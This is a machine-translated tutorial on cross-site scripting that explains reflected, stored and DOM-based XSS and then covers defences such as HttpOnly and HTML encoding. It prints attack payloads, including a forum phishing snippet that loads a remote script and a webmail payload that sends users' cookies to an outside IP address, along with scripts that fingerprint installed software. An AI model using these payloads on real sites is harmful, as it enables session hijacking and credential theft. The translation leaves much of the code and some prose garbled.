Cross-site Scripting Attack and Defense Techniques

Source: Internet
Author: User

XSS cross-site scripting attacks have always been regarded as the most popular attack method in client Web security. Because of the complexity of the Web environment and the variability of XSS cross-site scripting attacks, this type of attacks cannot be completely solved. So what are the specific attack behaviors of XSS cross-site scripting attacks and how can we effectively prevent them? This document analyzes specific examples.

Cross-Site Scripting (XSS) is an HTML code that allows attackers to filter user input by using website programs, attackers can steal user information, use user identities to perform certain actions, or perform virus attacks on visitors. To distinguish it from the CSS abbreviation of Cascading Style Sheet, cross-site scripting attacks are usually abbreviated as XSS.

The main function of the following page is to obtain the parameters entered by the user as the user name and display the "Welcome, XXX" form on the page. The specific code is as follows:

<? Php

$ Username = $ _ GET ["name"];

Echo "<p> welcome,". $ username ."! </P> ";

?>

Under normal circumstances, the user will submit the parameter name value in the URL as his name, and then the data content will be displayed on the page through the above Code, if the name submitted by the user is "Zhang San", the complete URL address is as follows:

Http: // localhost/test. php? Name = James

When accessed in a browser, the content shown in 1 is displayed:


Figure 1

At this point, because the data entered by the user is normal data information, after the script processing, the source code provided by the page is <p> welcome, James! </P>. However, if the data submitted by the user contains code that may be executed by the browser, what will happen? We continue to submit the name value as <script> alert (/My name is James/) </script>, that is, the complete URL address is
Http: // localhost/test. php? Name = <script> alert (/My name is James/) </script>

When accessing in a browser, we find a pop-up prompt, as shown in Figure 2:


Figure 2

So what is the page source code?

The source code becomes "<p> welcome, <script> alert (/My name is James/) </script>! </P> ", from the source code, we found that the code in the <script> and </script> labels of user input data is executed by the browser, this is not the result of a web script program. This example is the simplest form of XSS cross-site scripting (XSS) attacks.

XSS cross-site scripting attack classification

XSS can be divided into the following three categories based on the existing forms and effects of XSS cross-site scripting attacks.

I. XSS cross-site scripting attacks

Reflected XSS Scripting attacks, as mentioned above, this type simply outputs user input data in the browser directly or without comprehensive security filtering. As a result, the output data contains code data that can be executed by the browser. Because this type of cross-site code exists in URLs, hackers usually need to send links with malicious code to users through deception or encryption and deformation, the attack can be successfully implemented only after you click it.

2. Storage-type XSS cross-site scripting attacks

Stored XSS script attacks mean that Web applications store user input data in the database or other file formats on the server. When querying and displaying data on webpages, the stored XSS is highly stable because it retrieves data from the database and outputs the data content on the webpage.

The most common scenario of stored XSS script attacks is that in a blog or news publishing system, hackers directly write data containing malicious code into articles or comments, all users who browse articles or comments will execute the inserted malicious code in their client browser environment. For example, in earlier versions of popular Bo-Blog programs, XSS cross-site scripting (XSS) attacks are caused by lax filtering of comments submitted to users, hackers can submit the UBB code for inserting malicious data in the article comment. After the code is submitted, the Bo-Blog program saves the data to the database. When the user browses the log, the inserted malicious code is executed, as shown in figure 3.


Figure 3

Iii. DOM-based XSS Cross-Site Scripting

DOM-based XSS cross-site scripting (XSS) attacks are formed by modifying the DOM node data on the page. Unlike reflected XSS and stored XSS, DOM-based XSS cross-site scripting attacks often need to analyze specific javascript DOM code and use XSS cross-site scripting attacks based on actual conditions. Let's analyze the following code in detail:

<Html>

<Head>

<Title> DOM Based XSS Demo </title>

<Script>

Function xsstest ()

{

Var str = document. getElementById ("input"). value;

Document. getElementById ("output"). innerHTML = " </img> ";

}

</Script>

</Head>

<Body>

<Div id = "output"> </div>

<Input type = "text" id = "input" size = 50 value = ""/>

<Input type = "button" value = "Submit" onclick = "xsstest ()"/>

</Body>

</Html>

The purpose of the above Code is to submit the URL of an image, and the program will display the image on the page. For example, we will submit the URL of the Baidu LOGO image http://www.baidu.com/img/baidu_sylogo1.gif to show the result on the page.


Figure 4

After you enter the address of the Baidu LOGO and click "Submit", The onclick event of the "Submit" button will call the xsstest () function. The xsstest () function obtains the address submitted by the user, modifies the DOM node of the page through innerHTML, and writes the data submitted by the user to the page as HTML code for display. The HTML code output in the preceding example is " </img> ".

The above is a normal user input, so how does the hacker use this type of code to implement XSS cross-site scripting attacks? The hacker can input "# 'onerror = 'javascript: alert (/DOM Based XSS Test/)" by constructing the following data. after submitting the data in the browser, the code is actually executed, A dialog box is displayed, as shown in Figure 5.

 

Figure 5

XSS cross-site scripting attack instance

The above is a brief introduction to three types of XSS cross-site scripting attacks. After reading the above descriptions, my friends may wonder, is it XSS cross-site scripting attack? The answer is no. The use of XSS cross-site scripting attacks can achieve a variety of effects. It can even be said that the use of XSS cross-site scripting vulnerabilities is an art of hacker attacks, next we will analyze and describe the specific instances in detail to learn what XSS can do for cross-site scripting attacks.

XSS cross-site scripting attack using phishing

Currently, there are many phishing attacks, including applying to register a similar domain name, constructing a highly similar website environment, and publishing false winning information, however, the above phishing attack methods are difficult for security-conscious netizens to achieve successful phishing attacks. However, the cross-site scripting (XSS) Attack Vulnerability in phishing attacks cannot be defended against by security-aware netizens. Here we use the XSS cross-site scripting vulnerability in the Shanda game forum to demonstrate the phishing attack (currently, this vulnerability has been fixed ). First of all, we need to know that the grand game logon uses the grand pass for login, and the grand game Forum also uses the grand pass for login. Therefore, if a hacker steals the information of a gamer logging on to a forum, the hacker steals the player's game account and password. The XSS cross-site scripting vulnerability exists in the grand game Forum, allowing hackers to exploit this vulnerability to obtain users' accounts and passwords. If the filtering is lax, enter the following code in the personal homepage:

[Url] http: // ''style = 'a: expression (document. write ("<s \ 143 riplanguage = javas \ 143 ripsrc = http://www.bkjia.com/uploads/allimg/131120/1330055912-5.jpg Charset = GB23> </s \ 143 ript>") 'target = _ blank [/url]

Then use this account to post or reply to the forum, so that when other players access the post we post or reply to, they will execute the malicious code we insert. Bytes:

 

Figure 6

The displayed content is the same as that on the logon page of Shanda official game Forum. If you do not view the source code of the webpage, you cannot see any problems in the page display, when a player enters the Pass account and password information and clicks log on, the address submitted by the account is not a grand server, but a hacker server. From the source code, you can see the address of the hacker server account receiving program sent by the account and password, as shown in 7:

 


Figure 7

XSS cross-site scripting attacks steal user Cookie information

Cross-site scripting (XSS) attacks have always been one of the most popular methods for XSS cross-site scripting (XSS) attacks. When a user logs on to the Web application normally, the user will get a cookie containing the session token from the server:
Set-Cookie: SessionID = 6010D6F2F7B24A182EC3DF53E65C88FCA17B0A96FAE129C3
Hackers can use XSS to send malicious code embedded pages to users. When users click to browse, hackers can obtain the user's Cookie information and use this information to cheat the server. They can log on directly without the account or password. The XSS cross-site scripting vulnerability in NetEase mail is analyzed and described here. In the old version of Netease mail, an XSS cross-site scripting vulnerability exists. Hackers can construct the following code:

<Xml id = I> <X> <C> <! [CDATA [ <! [CDATA [scheme: xx = new Image (); xx. src = 'HTTP: // 61.130.75.239/pic/163.asp? Url = '+ escape (document. URL) +' & cookie = '+ escape (document. cookie); "width = 0 height = 0>]>

</C> </X> </xml> <span datasrc = # I dataworkflow = C DATAFORMATAS = HTML> </SPAN>


 
Figure 8

When an email containing 8 malicious code is sent to a Netease mailbox user, the user opens an email containing malicious code, the code automatically sends the user's cookie information to 163 on 61.130.75.239. asp file, of which 163. asp is used to record the sent cookies, as shown in figure 9:


Figure 9

After receiving the Cookie, you can use the Cookie spoofing method to log on to the target email address, as shown in figure 10.


Figure 10

XSS cross-site scripting attacks collect client environment information

When collecting more client environment information, it is mainly used for penetration attacks or Network Trojan attacks of specified targets, for example, you need to know the browser information, operating system information, component installation, and security protection software used in the client environment. Cross-site scripting (XSS) attacks allow you to conveniently and quickly collect client environment information.

So how to collect the above information through javascript? We construct the following script code and execute this code in the browser.

<Script> www.2cto.com

Alert (navigator. userAgent );

</Script>

The result is shown in 11.


Figure 11

This information tells us the two information above, one is the type and version of the browser, and the other is the version of the operating system in the client environment.

Browser: MSIE 8.0 (Microsoft IE browser, with the browser version 8.0)

Operating System: Windows NT 6.1 (the operating system type is windows 7)

You can obtain the browser and operating system information of the client through the above method. Next, we will continue to judge the installation of the client environment components. The Construction Code is as follows:

<Script>

Try {

Var object = new ActiveXObject ("XunLeiBHO. ThunderIEHelper ");

} Catch (e) {alert ("Thunder software not installed ");

}

</Script>

If the thunder download software is installed in the client environment, the corresponding ActiveX Control XunLeiBHO will be installed. thunderIEHelper. The above script is used to load the thunder ActiveX control through web scripts. If the control exists, no exception is thrown; otherwise, an exception is thrown and captured by the script, when running the above script code, there will be no prompts for environments installed with thunder. If no thunder environment is installed, a window will pop up and prompt "Thunder software not installed ".

The control determines that ActiveX controls can be loaded through web pages. How can I use scripts to determine whether security software is installed in the client environment? Here, we take the rising security software as an example to analyze and describe how to use the XSS cross-site scripting vulnerability to check whether the client environment has the rising security software. The constructed code is as follows:

<Script>

Var havesoft = false;

Var disk = ['C', 'D'];

Var soft = [': \ Program Files \ Rising \ Ris \ BackRav. dll/100'];

For (I = 0; I <soft. length; I ++)

{For (j = 0; j <disk. length; j ++)

{Var img = new Image ();

Res = 'res: // '+ disk [j] + soft [I];

Img. src = res;

If (img. height! = 30)

{

Havesoft = true;

}

}

}

</Script>

The above code is used to load resource files in the client environment through javascript combined with the res protocol. After the javascript script is run, it will access the C and D disks in the client environment, access the resource file in the default installation path of rising and try to load the resource file. If the file is loaded successfully, it indicates that the resource file exists. It also indicates the existence of rising security software, set the variable havesoft to true. After the script detection is complete, you only need to check whether the variable is true.

XSS Worm

Compared with the above three cases, it can be said that the damage and influence of the XSS Worm (XSS Worm) are huge. The XSS worm mainly occurs on pages where users interact. When a Web application does not strictly filter user input data, it uses Ajax-based Asynchronous submission, in this way, malicious code can be embedded, and malicious code can be sent to the outside, that is, the code is infected and spread, and the XSS worm is formed.

When talking about XSS worms, it is necessary to introduce the XSS worm attack on Sina Weibo. We also use this attack event as an example, detailed analysis and description of the process from malicious exploitation of the vulnerability to the extensive spread of the XSS worm, and a brief analysis of the malicious script file of the XSS worm.

For more information, see [view SNS website security issues (below) from the attack events on Sina Weibo.

Prevention of XSS cross-site scripting attacks

Based on the above descriptions of XSS cross-site scripting attacks in different situations, we have learned that the use of XSS is ever-changing in complex Web environments, how to effectively prevent XSS attacks has always been a hot topic for browser vendors and website security technicians. Currently, many browser vendors have added measures in their own programs to prevent XSS cross-site scripting attacks. For example, ie has built XSS filters in IE8, firefox also has corresponding CSP and Noscript extensions. For website security technicians, it is critical to propose efficient technical solutions to protect users from XSS cross-site scripting attacks. Next, we will describe how to prevent XSS cross-site scripting attacks through technical means based on the website security design.

Use HttpOnly

HttpOnly was initially proposed by Microsoft and has been adopted by many popular browser vendors. HttpOnly does not filter XSS cross-site scripting attacks. Instead, the browser will prohibit Javascript on the page from accessing cookies with the HttpOnly attribute, solving Cookie session hijacking after XSS cross-site scripting attacks.

HttpOnly is marked during Set-Cookie. The Cookie Header Format is as follows:

Set-Cookie: <name >=< value> [; <name >=< value>]

[; Expires = <date>] [; domain = <domain_name>]

[; Path = <some_path>] [; secure] [; HttpOnly]

Take php as an example. In php 5.2, HttpOnly support has been added to the Setcookie function, as shown in

<? Php

Setcookie ("user", "admin", NULL, TRUE );

?>

You can use the above Code to set the user cookie to HttpOnly. The setcookie function is actually set by sending the original HTTP packet header to the client, and the document will not be able to see this Cookie, so use document. the cookie cannot be obtained, that is, the Cookie is first protected.

Complete Input and Output checks

Due to the different causes of the three XSS cross-site scripting attacks, some checks for input and output are applicable to reflected XSS and stored XSS, while other checks are applicable to DOM-based XSS.

A. Prevention of reflective XSS and storage XSS

In most cases, the input check checks trusted characters or the format of input data. For example, the registered account information entered by a user can only contain letters, numbers, underscores, and Chinese characters, all non-whitelist characters are considered invalid. Data formats, such as IP addresses, phone numbers, email addresses, and dates, all have certain format specifications. Only input information that complies with the data specifications can pass the check.

The output check mainly aims at HTML encoding of data information during data display, and encoding malicious characters that may cause XSS cross-site scripting attacks, filter malicious characters without affecting normal data display. Common characters that may cause XSS cross-site scripting attacks and their HTML code are as follows:

"& Quot;

'& Apos;

& Amp;

<& Lt;

> & Gt;

In addition to common encoding, any character can use its ASCII code for HTML encoding, such

% & #37;

* & #42;

B. Prevent DOM-based XSS

From the definition of DOM-based XSS and Its Trigger method, we found that when DOM-based XSS cross-site scripting attacks occur, the format of malicious data is different from that of the traditional XSS cross-site scripting attack data. You can even launch attacks on the client directly without processing the data on the server or responding to the attack, therefore, the method we use to prevent XSS reflection and stored XSS is not applicable to prevent DOM-based XSS cross-site scripting attacks.

Based on the DOM-based XSS defense input check method, we found that the filtering effect of the corresponding security detection code deployed on the client is more obvious than that detected on the server. For example, we can use the following client detection code to ensure that user input only contains letters, numbers, and spaces. The Code is as follows:

<Script>

Var str = document. URL;

Str = str. substring (str. indexOf ("username =") + 9, str. length );

Str = unescape (str );

Var regex =/^ ([A-Za-z0-9 + \ s]) * $ /;

If (regex. test (str ))

Document. write (str );

</Script>

Similarly, we can also implement a function similar to the preceding data check on the server side, such as checking whether the URL parameter is a predefined parameter username on the server side and checking the content of the username parameter, check whether the data content contains only numbers, letters, and space characters to filter data on the server. However, due to the controllability of the client data, this server-side detection effect is much weaker than the client-side detection.

DOM-based XSS output check is similar to the reflection-type XSS vulnerability output check. Before you insert user-controllable DOM data into a document, web applications should process the submitted data in HTML encoding, filter various dangerous characters and expressions in the data submitted by users, and insert them to the documents for display in a safe way, for example, you can use the following functions to implement HTML encoding in the client javascript.

Function jsEncode (str)

{

Var d = document. createElement ('div ');

D. appendChild (document. createTextNode (str ));

Return d. innerHTML;

}

XSS cross-site scripting (XSS) attacks are one of the greatest threats in the Web application security field, not only endangering the normal operation of Web application services, it also has a direct security impact on the client environment and users accessing Web application services. Although XSS cross-site scripting attacks are ever-changing in the complex Web application environment, network security personnel analyze and process various Web application environments in detail, cross-site scripting (XSS) attacks can be completely blocked. How to effectively prevent and prevent XSS cross-site scripting attacks, ensure the business security and normal operation of Web application systems, and protect client users from XSS cross-site scripting attacks, is the common responsibility of Web application system administrators and network security product developers.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.